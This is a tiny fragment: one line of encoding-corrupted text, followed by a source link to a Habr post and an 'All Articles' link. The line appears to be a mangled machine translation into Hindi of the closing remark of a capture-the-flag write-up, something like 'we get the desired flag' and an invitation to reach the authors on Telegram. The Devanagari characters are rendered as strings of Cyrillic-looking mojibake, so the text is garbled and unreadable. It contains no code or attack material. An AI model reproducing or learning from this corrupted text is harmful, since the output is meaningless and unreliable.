рд╣рдореЗрдВ рд╡рд╛рдВрдЫрд┐рдд рдзреНрд╡рдЬ рдорд┐рд▓рддрд╛ рд╣реИред рдЖрдк рдЯреЗрд▓реАрдЧреНрд░рд╛рдо рдкрд░ рд╣рдорд╕реЗ рдЬреБрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВред

Source: https://habr.com/ru/post/hi467485/


All Articles